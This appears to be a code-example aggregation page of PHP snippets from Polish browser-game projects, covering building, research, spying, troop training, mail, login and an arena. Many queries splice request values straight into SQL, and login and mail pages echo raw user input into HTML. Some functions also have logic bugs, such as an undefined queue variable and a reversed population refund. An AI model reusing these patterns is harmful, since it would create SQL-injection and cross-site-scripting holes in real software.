    $tech = row("select \n\t\ttt.technologia,\n\t\ttt.drewno as drewno1, ttm.drewno as drewno2,\n\t\ttt.kamien as kamien1, ttm.kamien as kamien2, \n\t\ttt.zelazo as zelazo1, ttm.zelazo as zelazo2,\n\t\ttt.jedzenie as jedzenie1, ttm.jedzenie as jedzenie2,\n\t\ttt.czas_rozwoju as czas_rozwoju1, ttm.czas_rozwoju as czas_rozwoju2,\n\t\ttt.nazwa, ttm.poziom, tt.max_poziom,\n\t\t(select koniec - " . mktime() . "  from tribal_eventy where typ = 2 and podtyp = tt.technologia and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\tfrom tribal_technologie tt \n\tleft join tribal_technologie_miasta ttm \n\ton tt.technologia = ttm.technologia_id \n\tand ttm.miasto_id = " . $gracz['id_miasta'] . " where tt.technologia = " . $id . " limit 1\n\t");
    if (empty($tech)) {
        $error = "nie ma takiego obiektu";
    } else {
        if (!empty($tech['poziom'])) {
            $tech['drewno1'] = $tech['drewno2'];
            $tech['kamien1'] = $tech['kamien2'];
            $tech['zelazo1'] = $tech['zelazo2'];
            $tech['jedzenie1'] = $tech['jedzenie2'];
            $tech['czas_rozwoju1'] = $tech['czas_rozwoju2'];
        } else {
            $tech['poziom'] = 0;
        }
        $tech['drewno1'] = floor($tech['drewno1'] * 0.9);
        $tech['kamien1'] = floor($tech['kamien1'] * 0.9);
        $tech['zelazo1'] = floor($tech['zelazo1'] * 0.9);
        $tech['jedzenie1'] = floor($tech['jedzenie1'] * 0.9);
        $event = row("select * from tribal_eventy where typ = 2 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']);
        if (empty($event)) {
            $error = "nie rozwijasz tej technologii";
        } else {
            //usuń event
            fx('usun_event');
            usun_event($event['event']);
            //zabierz surowce
            fx('surowce');
            surowce($gracz['id_miasta'], $tech['drewno1'], $tech['kamien1'], $tech['zelazo1'], $tech['jedzenie1'], 0);
            $czas = $event['koniec'] - mktime();
            call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 2 and event > " . $event['event'] . " and miasto_id = " . $gracz['id_miasta']);
            $error = "przerwano rozwój technologii";
        }
    }
    return $error;
}
示例#17
0
function przerwij_trening($dane, $kolejka)
{
    //zabezpiecz zmienne
    //sprawdź czy dany budynek był budowany
    $wkolejce = mysql_fetch_array(mysql_query("select * from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and kolejka = " . $kolejka));
    if (empty($wkolejce)) {
        return "nie ma takiego zdarzenia";
    } else {
        //pobierz jednostki
        fx('jednostki');
        $jednostki = jednostki();
        if (empty($jednostki[$wkolejce['jednostka']])) {
            return "nie ma takiej jednosti";
        }
        //usuń z kolejki
        mysql_query("delete from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and kolejka = " . $kolejka);
        //zwróć część surowców, populacji trzeba zwrócić zawsze tyle samo
        mysql_query("\n\t\tupdate planetx_planety\n\t\t\tset metal = (case when metal + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['metal'] * 0.9 . "  >= surowce_max then surowce_max else metal + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['metal'] * 0.9 . " end ) ,\n\n\t\t\tkrysztaly = (case when krysztaly + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['krysztaly'] * 0.9 . " >= surowce_max then surowce_max else krysztaly + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['krysztaly'] * 0.9 . " end ),\n\n\t\t\tpaliwo = (case when paliwo + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['paliwo'] * 0.9 . " >= surowce_max then surowce_max else paliwo + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['paliwo'] * 0.9 . " end ),\n\n\t\t\t\n\n\t\t\tpopulacja = (case when populacja + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['populacja'] . " >= populacja_max then populacja_max else populacja - " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['populacja'] . " end )\n\t\twhere  planeta =  " . $dane['aktywna_planeta']);
        //przyspiesz budowanie budynków, jeżeli po tym budynku było coś na końcu kolejki
        $ile = $wkolejce['koniec'] - time();
        mysql_query("update planetx_jednostki_kolejka set start = start - " . $ile . ", koniec = koniec - " . $ile . " where planeta_id = " . $dane['aktywna_planeta'] . " and start > " . $wkolejce['start']);
    }
}
示例#18
0
function ulepsz($gracz, $id, $kolejka_technologii)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $tech = row("select \n\t\ttt.technologia,\n\t\ttt.drewno as drewno1, ttm.drewno as drewno2,\n\t\ttt.kamien as kamien1, ttm.kamien as kamien2, \n\t\ttt.zelazo as zelazo1, ttm.zelazo as zelazo2,\n\t\ttt.jedzenie as jedzenie1, ttm.jedzenie as jedzenie2,\n\t\ttt.czas_rozwoju as czas_rozwoju1, ttm.czas_rozwoju as czas_rozwoju2,\n\t\ttt.nazwa, ttm.poziom, tt.max_poziom,\n\t\t(select koniec - " . mktime() . "  from tribal_eventy where typ = 2 and podtyp = tt.technologia and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\tfrom tribal_technologie tt \n\tleft join tribal_technologie_miasta ttm \n\ton tt.technologia = ttm.technologia_id \n\tand ttm.miasto_id = " . $gracz['id_miasta'] . " where tt.technologia = " . $id . " limit 1\n\t");
    if (empty($tech)) {
        $error = "nie ma takiego obiektu";
    } else {
        if (!empty($tech['poziom'])) {
            $tech['drewno1'] = $tech['drewno2'];
            $tech['kamien1'] = $tech['kamien2'];
            $tech['zelazo1'] = $tech['zelazo2'];
            $tech['jedzenie1'] = $tech['jedzenie2'];
            $tech['czas_rozwoju1'] = $tech['czas_rozwoju2'];
        } else {
            $tech['poziom'] = 0;
        }
        if ($tech['drewno1'] > $gracz['dane_miasta']['drewno'] || $tech['kamien1'] > $gracz['dane_miasta']['kamien'] || $tech['zelazo1'] > $gracz['dane_miasta']['zelazo'] || $tech['jedzenie1'] > $gracz['dane_miasta']['jedzenie']) {
            $error = "nie masz wystarczającej ilości surowców";
        } elseif ($tech['poziom'] == $tech['max_poziom']) {
            $error = "osiągnięto maksymalny poziom";
        } elseif ($kolejka == $kolejka_technologii) {
            $error = "kolejka zajęta";
        } elseif (!empty($tech['w_kolejce'])) {
            $error = "rozwijasz tą naukę";
        } else {
            //dodaj event
            fx('dodaj_event');
            dodaj_event($gracz['id_miasta'], 2, $id, 1, $tech['czas_rozwoju1']);
            fx('surowce');
            surowce($gracz['id_miasta'], -$tech['drewno1'], -$tech['kamien1'], -$tech['zelazo1'], -$tech['jedzenie1'], 0);
            //zabierz surowce
            $error = "rozpoczęto budowę";
        }
    }
    return $error;
}
示例#19
0
function wyslij_szpiegow($gracz, $cel, $ilu)
{
    //zabezpiecz zmienne
    $cel = vText($cel);
    $ilu = (int) $ilu;
    if ($ilu < 1) {
        $error = 'wyślij minimum 1 jednostkę';
    } else {
        $ma = one("select ilosc from tribal_jednostki_miasta where jednostka_id = 5 and miasto_id =" . $gracz['id_miasta']);
        if ($ma < $ilu) {
            $error = 'nie posiadasz tylu szpiegów';
        } else {
            $vs = row("select * from tribal_miasta where nazwa='" . $cel . "' limit 1");
            if (empty($vs)) {
                $error = 'nie ma takiego miasta';
            } elseif ($vs['gracz_id'] == $gracz['gracz']) {
                $error = 'nie szpieguj swoich miast';
            } else {
                $x = row("select * from tribal_mapa where miasto_id = " . $gracz['id_miasta']);
                $y = row("select * from tribal_mapa where miasto_id = " . $vs['miasto']);
                if ($x['x'] != $vs['x'] && $x['y'] == $vs['y']) {
                    $zasieg = abs($vs['x'] - $x['x']) * 300;
                } elseif ($x['x'] == $vs['x'] && $x['y'] != $vs['y']) {
                    $zasieg = abs($vs['y'] - $x['y']) * 300;
                } else {
                    $zasieg = floor(sqrt(pow(abs($vs['x'] - $x['x']), 2) + pow(abs($vs['y'] - $x['y']), 2))) * 300;
                }
                call("update tribal_jednostki_miasta set ilosc = ilosc - {$ilu} where jednostka_id = 5 and miasto_id =" . $gracz['id_miasta']);
                fx('dodaj_event');
                dodaj_event($gracz['id_miasta'], 20, $vs['miasto'], $ilu, $zasieg);
                $error = 'wysłano';
            }
        }
    }
    return $error;
}
示例#20
0
            case 4:
                $query = mysql_query($q = "select id, login, data, status from planetx_wiadomosci inner join planetx_gracze on od = gracz where do = " . $gracz['gracz'] . " and typ = 4 order by status asc, id desc");
                if (mysql_num_rows($query) > 0) {
                    $echo = "<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<th>Od:</th>\n\t\t\t\t\t<th>Data:</th>\n\t\t\t\t\t<th></th>\n\t\t\t\t</tr>\n\t\t\t\t";
                    while ($wiadomosc = mysql_fetch_array($query)) {
                        if ($wiadomosc['status'] == 0) {
                            $new = "<br/><span style='color:#339900'>[ nowa ]</span>";
                        } else {
                            $new = "";
                        }
                        $opcje = "\n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&id=" . $wiadomosc['id'] . "&czytaj=1' >[ czytaj ]</a> |  \n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&del=" . $wiadomosc['id'] . "' >[ usuń ]</a> | \n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&del_all=1' >[ usuń wszystkie ]</a> \n\t\t\t\t\t";
                        $echo .= "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>" . $wiadomosc['login'] . "</td>\n\t\t\t\t\t\t<td>" . $wiadomosc['data'] . " {$new}</td>\n\t\t\t\t\t\t<td>{$opcje}</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t\n\t\t\t\t\t";
                    }
                    $echo .= "</table>";
                    echo $echo;
                } else {
                    echo "brak wiadomości";
                }
                break;
        }
    } elseif (!empty($_GET['czytaj']) && !empty($_GET['id'])) {
        $_GET['id'] = (int) $_GET['id'];
        fx('wiadomosc_czytaj');
        $mes = wiadomosc_czytaj($gracz['gracz'], $_GET['id'], $_GET['typ']);
        echo "\n\t\t\t<div style='width:100%; background:#01498D; color:#000'>\n\t\t\t\t<div style='width:100px; text-align:center; float:left; padding:5px'>\n\t\t\t\t\t<span  style='color:#fff;'>" . $mes['login'] . "</span>\n\t\t\t\t</div>\n\t\t\t\t<div style='margin-left:100px; background:#C9C9C9; padding:5px; color:#000'>\n\t\t\t\t\t" . $mes['tekst'] . "\n\t\t\t\t\t<hr/>\n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&typ=" . $_GET['typ'] . "'>powrót</a> | \n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&do=" . $mes['login'] . "&nowa=ok'>odpowiedz</a> | \n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&del=" . $mes['id'] . "&typ=" . $_GET['typ'] . "'>usuń</a>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\n\n\n\t\t";
    } else {
        echo "brak wiadomości";
    }
} else {
    echo $msg . "\n\t<form action='?akcja=poczta&nowa=ok' method='post'>\n\t\tNazwa gracza: <input type='text' name='do' value='" . $_GET['do'] . "'/><br/><br/>\n\t\t<textarea name='tekst' cols=80 rows =6 ></textarea><br/>\n\t\t<input type='submit' value='wyślij wiadomość'/>\n\t</form>\n\t";
}
示例#21
0
function main_town($miasto)
{
    fx('usun_event');
    $eventy_budynki = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 1 and koniec <= " . time());
    if (is_array($eventy_budynki)) {
        foreach ($eventy_budynki as $wybudowany) {
            usun_event($wybudowany['event']);
            call("update tribal_gracze g inner join tribal_miasta on g.gracz = gracz_id set g.punkty = g.punkty + 1 where miasto = " . $miasto);
            $info = one("select count(*) from tribal_budynki_miasta where miasto_id = {$miasto} and budynek_id = " . $wybudowany['podtyp']);
            $obiekt = row("select * from  tribal_budynki where budynek = " . $wybudowany['podtyp']);
            if (!empty($info)) {
                call($q = "update tribal_budynki_miasta set \n\t\t\t\tdrewno = drewno * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100), \n\t\t\t\tkamien = kamien * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tjedzenie = jedzenie * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tzelazo = zelazo * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tpopulacja = populacja * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tczas_budowy = czas_budowy * ((100 + " . $obiekt['wzrost_czasu_budowy'] . " )/100),\n\t\t\t\tpoziom = poziom + 1\n\t\t\t\twhere miasto_id = {$miasto} and budynek_id = \n\t\t\t\t" . $wybudowany['podtyp']);
                $poziom = 1;
            } else {
                call($q = "insert into tribal_budynki_miasta(miasto_id, budynek_id, drewno, kamien, zelazo, jedzenie, populacja, czas_budowy, poziom) value ({$miasto}, " . $wybudowany['podtyp'] . ", " . $obiekt['drewno'] . ", " . $obiekt['kamien'] . ", " . $obiekt['zelazo'] . ", " . $obiekt['jedzenie'] . ", " . $obiekt['populacja'] . ", " . $obiekt['czas_budowy'] . ", 1)");
                $poziom = 0;
            }
            switch ($wybudowany['podtyp']) {
                case 1:
                    if ($poziom == 0) {
                        call("update tribal_miasta set drewno_przyrost = drewno_przyrost + 50 where miasto = {$miasto}");
                    } else {
                        call("update tribal_miasta set drewno_przyrost = drewno_przyrost * 1.2 where miasto = {$miasto}");
                    }
                    break;
                case 2:
                    if ($poziom == 0) {
                        call("update tribal_miasta set kamien_przyrost = kamien_przyrost + 50 where miasto = {$miasto}");
                    } else {
                        call("update tribal_miasta set kamien_przyrost = kamien_przyrost * 1.2 where miasto = {$miasto}");
                    }
                    break;
                case 3:
                    if ($poziom == 0) {
                        call("update tribal_miasta set zelazo_przyrost = zelazo_przyrost + 50 where miasto = {$miasto}");
                    } else {
                        call("update tribal_miasta set zelazo_przyrost = zelazo_przyrost * 1.2 where miasto = {$miasto}");
                    }
                    break;
                case 4:
                    if ($poziom == 0) {
                        call("update tribal_miasta set jedzenie_przyrost = jedzenie_przyrost + 50 where miasto = {$miasto}");
                    } else {
                        call("update tribal_miasta set jedzenie_przyrost = jedzenie_przyrost * 1.2 where miasto = {$miasto}");
                    }
                    break;
                case 5:
                    call("update tribal_miasta set populacja_max = populacja_max * 1.3 where miasto = {$miasto}");
                    break;
                case 6:
                    call("update tribal_miasta set surowce_max = surowce_max * 1.3 where miasto = {$miasto}");
                    break;
            }
        }
    }
    $eventy_technologie = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 2 and koniec <= " . time());
    if (is_array($eventy_technologie)) {
        foreach ($eventy_technologie as $wybudowany) {
            usun_event($wybudowany['event']);
            $info = one("select count(*) from tribal_technologie_miasta where miasto_id = {$miasto} and technologia_id = " . $wybudowany['podtyp']);
            $obiekt = row("select * from  tribal_technologie where technologia = " . $wybudowany['podtyp']);
            if (!empty($info)) {
                call("update tribal_technologie_miasta set \n\t\t\t\tdrewno = drewno * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100), \n\t\t\t\tkamien = kamien * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tjedzenie = jedzenie * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tzelazo = zelazo * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tczas_rozwoju = czas_rozwoju * ((100 + " . $obiekt['wzrost_czasu_budowania'] . " )/100),\n\t\t\t\tpoziom = poziom + 1\n\t\t\t\twhere miasto_id = {$miasto} and technologia_id = \n\t\t\t\t" . $wybudowany['podtyp']);
                $poziom = 1;
            } else {
                call("insert into tribal_technologie_miasta(miasto_id, technologia_id, drewno, kamien, zelazo, jedzenie,  czas_rozwoju, poziom) value ({$miasto}, " . $wybudowany['podtyp'] . ", " . $obiekt['drewno'] . ", " . $obiekt['kamien'] . ", " . $obiekt['zelazo'] . ", " . $obiekt['jedzenie'] . ", " . $obiekt['czas_rozwoju'] . ", 1)");
                $poziom = 0;
            }
        }
    }
    $eventy_jednostki = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 3 and koniec <= " . time());
    if (is_array($eventy_jednostki)) {
        foreach ($eventy_jednostki as $wybudowany) {
            usun_event($wybudowany['event']);
            $info = one("select count(*) from tribal_jednostki_miasta where miasto_id = {$miasto} and jednostka_id = " . $wybudowany['podtyp']);
            if (!empty($info)) {
                call("update tribal_jednostki_miasta set \n\t\t\t\tilosc = ilosc + " . $wybudowany['ilosc'] . "\n\t\t\t\twhere miasto_id = {$miasto} and jednostka_id = \n\t\t\t\t" . $wybudowany['podtyp']);
            } else {
                call("insert into tribal_jednostki_miasta(miasto_id, jednostka_id, ilosc) value ({$miasto}, " . $wybudowany['podtyp'] . "," . $wybudowany['ilosc'] . ")");
            }
        }
    }
    fx('rozwiaz_armie');
    $eventy_ataki_powrot = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 11 and koniec <= " . time());
    if (is_array($eventy_ataki_powrot)) {
        foreach ($eventy_ataki_powrot as $atak) {
            usun_event($atak['event']);
            rozwiaz_armie($atak['ilosc']);
        }
    }
    fx('bitwa');
    $eventy_bitwy = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 10 and koniec <= " . time());
    if (is_array($eventy_bitwy)) {
        foreach ($eventy_bitwy as $atak) {
            usun_event($atak['event']);
            bitwa($atak);
        }
    }
    fx('rozwiaz_szpiegow');
    $eventy_szpiedzy_powrot = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 21 and koniec <= " . time());
    if (is_array($eventy_szpiedzy_powrot)) {
        foreach ($eventy_szpiedzy_powrot as $atak) {
            usun_event($atak['event']);
            rozwiaz_szpiegow($atak);
        }
    }
    fx('szpiegowanie');
    $eventy_szpiegowanie = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 20 and koniec <= " . time());
    if (is_array($eventy_szpiegowanie)) {
        foreach ($eventy_szpiegowanie as $atak) {
            usun_event($atak['event']);
            szpiegowanie($atak);
        }
    }
}
示例#22
0
<div style='margin:10px; text-align:center'>
<a href='?akcja=armia'>podgląd</a> | 
<a href='?akcja=trening'>trening</a> | 
<a href='?akcja=ataki'>ataki</a>
</div>

<?php 
if (!empty($_POST['cel']) && !empty($_POST['jednostki'])) {
    fx('atakuj');
    $error = atakuj($gracz, $_POST['cel'], $_POST['jednostki']);
    echo $error . "<hr/>";
}
if (!empty($_GET['przerwij'])) {
    fx('przerwij_atak');
    $error = przerwij_atak($gracz, $_GET['przerwij']);
    echo $error . "<hr/>";
}
$ataki = mysql_query("select * from planetx_ataki inner join planetx_planety on planeta_id_cel = planeta where planeta_id =" . $gracz['aktywna_planeta']);
if (mysql_num_rows($ataki) == 0) {
    echo "nie wysłano wypraw<hr/>";
} else {
    echo "\n\t<table>\n\t<tr style='background:#01498D'>\n\t\t<th>cel</th>\n\t\t<th>pozostało</th>\n\t</tr>\n\t";
    while ($atak = mysql_fetch_array($ataki)) {
        $pozostało = $atak['koniec'] - time();
        if ($atak['status'] == 0) {
            $tekst = "armia kieruje się na planetę " . $atak['nazwa'];
            echo "\n\t\t\t<tr>\n\t\t\t\t<td>" . $tekst . "</td>\n\t\t\t\t<td><span id='a" . $atak['atak'] . "'></span><script type='text/javascript'>liczCzas('a" . $atak['atak'] . "'," . $pozostało . ")</script><a href='?akcja=ataki&przerwij=" . $atak['atak'] . "'>[ x ]</a></td>\n\t\t\t</tr>";
        } else {
            $tekst = "armia powraca z planety " . $atak['nazwa'];
            echo "\n\t\t\t<tr>\n\t\t\t\t<td>" . $tekst . "</td>\n\t\t\t\t<td><span id='a" . $atak['atak'] . "'></span><script type='text/javascript'>liczCzas('a" . $atak['atak'] . "'," . $pozostało . ")</script></td>\n\t\t\t</tr>";
        }
示例#23
0
文件: index.php 项目: WlasnaGra/Genix
tego pliku nie powinieneś praktycznie w ogóle edytować, by zapewnić działanie strony

edytuj tylko listę akcji w zmiennych $akcje_ogolne, $akcje_gracz, $akcje_admin
*/
//pobierz ustawienia gry
require_once 'ustawienia/ustawienia.php';
//pobierz podstawowe funkcje
require_once 'funkcje/podstawowe.php';
//start sesji
session_start();
//regeneruj graczy
fx('regeneruj');
regeneruj($szybkosc, $okres);
//dodaj poziom jeżeli trzeba
fx('poziom');
poziom();
//jeżeli istnieją dane w sesji to pobierz dane zalogowanego gracza
if (!empty($_SESSION['gracz']) && is_numeric($_SESSION['gracz'])) {
    $gracz = getUser($_SESSION['gracz']);
}
//jeżeli nie ma danych gracza to ustaw rola = -1 jako niezalogowany
if (empty($gracz)) {
    $gracz['rola'] = -1;
}
//wybierz domyślny nagłówek strony
$top_strony = 'strony/ogolne/top_strony.php';
//wybierz domyślny dół strony
$dol_strony = 'strony/ogolne/dol_strony.php';
//lista akcji ogólnych, jeżeli tworzysz nowe to musisz je tu dopisać
$akcje_ogolne = array("start", "zaloguj", "rejestracja", "regulamin", "kontakt");
示例#24
0
	<div class="post" id="post-18">
		<h2>Logowanie</h2>

 <?php 
if (!empty($_POST)) {
    if (!empty($_POST['login']) && !empty($_POST['pass'])) {
        fx('zaloguj');
        $msg = zaloguj($_POST['login'], $_POST['pass']);
    } else {
        $msg = 'Wypełnij wszystkie pola poprawnie';
    }
    echo "<span style='color:#FF0000; margin-bottom:20px;display:block'>" . $msg . "</span>";
}
?>

	<form action='?akcja=<?php 
echo $_GET['akcja'];
?>
' method='post'>
	<table>
	
	<tr>
		<td>login:</td>
		<td><input class='input' type='text' name='login' value='<?php 
echo $_POST['login'];
?>
'/></td>
	</tr>
	<tr>
		<td>hasło:</td>
示例#25
0
<b>Wyślij wiadomość administracyjną</b>
<hr/>
<?php 
if (!empty($_POST['tekst'])) {
    fx('admin_wiadomosc');
    $a = admin_wiadomosc($_POST['tekst']);
    echo $a . "<hr/>";
}
?>

<form action='?akcja=admin_poczta' method='post'>
<textarea name='tekst' cols=80 rows =6 ></textarea><br/>
<input class='submit' type='submit' value='wyślij'/>
</form>
示例#26
0
Jeżeli po rozpoczęciu budowy budynku zostawisz te okno otwarte, system będzie próbował rozpocząć ponownie budowę po zakończeniu aktualnej. :) <br> 
<?php 
$id = (int) $_GET['id'];
$info = row($q = "select bm.poziom as poziom, bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, bm.poziom as bmpoziom, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1");
if (empty($info)) {
    echo "nie ma takiego budynku";
} else {
    if (isset($_GET['buduj'])) {
        fx('buduj');
        $error = buduj($gracz, $id, $kolejka_budowy);
        $gracz = getUser($gracz['gracz']);
        echo $error . "</br/>";
    }
    if (isset($_GET['przerwij'])) {
        fx('przerwij_budowe');
        $error = przerwij_budowe($gracz, $id);
        $gracz = getUser($gracz['gracz']);
        echo $error . "</br/>";
    }
    if (!empty($info['poziom'])) {
        $info['drewno'] = $info['bmdrewno'];
        $info['kamien'] = $info['bmkamien'];
        $info['zelazo'] = $info['bmzelazo'];
        $info['jedzenie'] = $info['bmjedzenie'];
        $info['populacja'] = $info['bmpopulacja'];
        $info['poziom'] = $info['bmpoziom'];
        $info['czas_budowy'] = $info['bmczas_budowy'];
    } else {
        $info['poziom'] = 0;
    }
    //sprawdzanie opcji
示例#27
0
 private function dissect($arr)
 {
     $map = new Map();
     return xM(fx('$x'))->join($arr);
 }
示例#28
0
<h2>Sklep z odzieżą</h2><hr/>
<p>
<?php 
if (!empty($_GET['kup'])) {
    fx('kup_ciuch');
    $msg = kup_ciuch($gracz['gracz'], $_GET['kup']);
    $gracz = getUser($gracz['gracz']);
    echo "<span style='color:#FF0000; margin-bottom:20px;display:block'>" . $msg . "</span>";
}
//pobierz listę
$ciuchy = all($q = "select driver_ciuchy.* from driver_ciuchy left join driver_ciuchy_gracze on id = c_id and gracz_id = " . $gracz['gracz'] . " where gracz_id is null order by typ ");
//jeżeli w ogóle są ciuchy
if (is_array($ciuchy)) {
    foreach ($ciuchy as $ciuch) {
        if ($gracz['kasa'] >= $ciuch['cena'] && $gracz['monety'] >= $ciuch['monety']) {
            $opcja = "<a href='?akcja=sklep&kup=" . $ciuch['id'] . "'>[ kup ]</a>";
        } else {
            $opcja = "nie stać Cię";
        }
        echo "\n\t\t\t<div style=' padding:10px; border:solid 1px #FF0000;'>\n\t\t\t\t<div style='width:134px; float: left'>\n\t\t\t\t\t<img src='sprzet/" . $ciuch['obrazek'] . "' alt=''  width='134px'/>\n\t\t\t\t</div>\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Nazwa </td>\n\t\t\t\t\t<td><i><b>" . $ciuch['nazwa'] . "</b></i></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Szybkość </td>\n\t\t\t\t\t<td><b>" . $ciuch['vmax'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Przyspieszenie </td>\n\t\t\t\t\t<td><b>" . $ciuch['do100'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Cena </td>\n\t\t\t\t\t<td><b>" . $ciuch['cena'] . "\$</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Monety </td>\n\t\t\t\t\t<td><b>" . $ciuch['monety'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=center colspan=2><b>{$opcja}</b></td>\n\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t</div>\n\t\t\t";
    }
} else {
    echo "nie ma więcej ciuchów do kupienia";
}
?>

</p>
示例#29
0
<div style='margin:10px; text-align:center'>
<a href='?akcja=armia'>podgląd</a> | 
<a href='?akcja=koszary'>koszary</a> | 
<a href='?akcja=stajnie'>stajnie</a> | 
<a href='?akcja=krag'>krąg magów</a> | 
<a href='?akcja=pomnik'>pomnik</a> | 
<a href='?akcja=ataki'>ataki</a>
</div>
<script src="www/jquery.min.js" type="text/javascript"></script>
<script src="www/jquery.cluetip.js" type="text/javascript"></script>
<script src="www/demo.js" type="text/javascript"></script>
<link rel="stylesheet" href="www/jquery.cluetip.css" type="text/css" /> 

<?php 
if (!empty($_GET['przerwij'])) {
    fx('przerwij_trening');
    $error = przerwij_trening($gracz, $_GET['przerwij']);
    echo $error . "<br/>";
}
if (!empty($_GET['atakuj'])) {
    $_GET['atakuj'] = (int) $_GET['atakuj'];
    $cel = one("select nazwa from tribal_miasta where miasto = " . $_GET['atakuj'] . " limit 1");
}
$jednostki = all("select * from tribal_jednostki left join tribal_jednostki_miasta on jednostka = jednostka_id where miasto_id = " . $gracz['id_miasta']);
if (!is_array($jednostki)) {
    echo "nie masz jednostek w armii";
} else {
    echo "\n\t<form action='?akcja=ataki' method='post'>\n\t<table>\n\t<tr style='background:#CCC8B3'>\n\t\t<th>nazwa</th>\n\t\t<th>ilość</th>\n\t\t<th>poślij</th>\n\t</tr>\n\t\n\t";
    /*foreach($jednostki as $jednostka){
    		echo "
    		<tr style='text-align:center'>
示例#30
0
文件: arena.php 项目: WlasnaGra/Genix
<h3>Arena</h3>
<p>Witaj<br>Na arenie możesz rozwijać swoje umiejętności.<br></p>
<p>
<?php 
if (isset($_GET['trenuj']) && !empty($_GET['id'])) {
    fx('trenuj');
    $info = trenuj($gracz, $_GET['id']);
    $gracz = getUser($gracz['gracz']);
    echo $info;
}
echo "<ul style='width:200px'>";
if ($gracz['zloto'] >= 100 * $gracz['sila']) {
    echo "<li style='margin:10px'>Siła: <span style='float:right'>" . $gracz['sila'] . " <a href='?akcja=arena&trenuj&id=1'>[ + ]</a> " . 100 * $gracz['sila'] . "<img src='www/moneta.gif' alt=''/></span>";
} else {
    echo "<li style='margin:10px'>Siła: <span style='float:right'>" . $gracz['sila'] . " [ - ] " . 100 * $gracz['sila'] . "<img src='www/moneta.gif' alt=''/></span>";
}
if ($gracz['zloto'] >= 100 * $gracz['zrecznosc']) {
    echo "<li style='margin:10px'>Zreczność: <span style='float:right'>" . $gracz['zrecznosc'] . " <a href='?akcja=arena&trenuj&id=2'>[ + ]</a> " . 100 * $gracz['zrecznosc'] . "<img src='www/moneta.gif' alt=''/></span>";
} else {
    echo "<li style='margin:10px'>Zreczność: <span style='float:right'>" . $gracz['zrecznosc'] . " [ - ] " . 100 * $gracz['zrecznosc'] . "<img src='www/moneta.gif' alt=''/></span>";
}
if ($gracz['zloto'] >= 100 * $gracz['wytrzymalosc']) {
    echo "<li style='margin:10px'>Wytrzymałość: <span style='float:right'>" . $gracz['wytrzymalosc'] . " <a href='?akcja=arena&trenuj&id=3'>[ + ]</a> " . 100 * $gracz['wytrzymalosc'] . "<img src='www/moneta.gif' alt=''/></span>";
} else {
    echo "<li style='margin:10px'>Wytrzymałość: <span style='float:right'>" . $gracz['wytrzymalosc'] . " [ - ] " . 100 * $gracz['wytrzymalosc'] . "<img src='www/moneta.gif' alt=''/></span>";
}
if ($gracz['zloto'] >= 100 * $gracz['wiedza']) {
    echo "<li style='margin:10px'>Wiedza: <span style='float:right'>" . $gracz['wiedza'] . " <a href='?akcja=arena&trenuj&id=4'>[ + ]</a> " . 100 * $gracz['wiedza'] . "<img src='www/moneta.gif' alt=''/></span>";
} else {
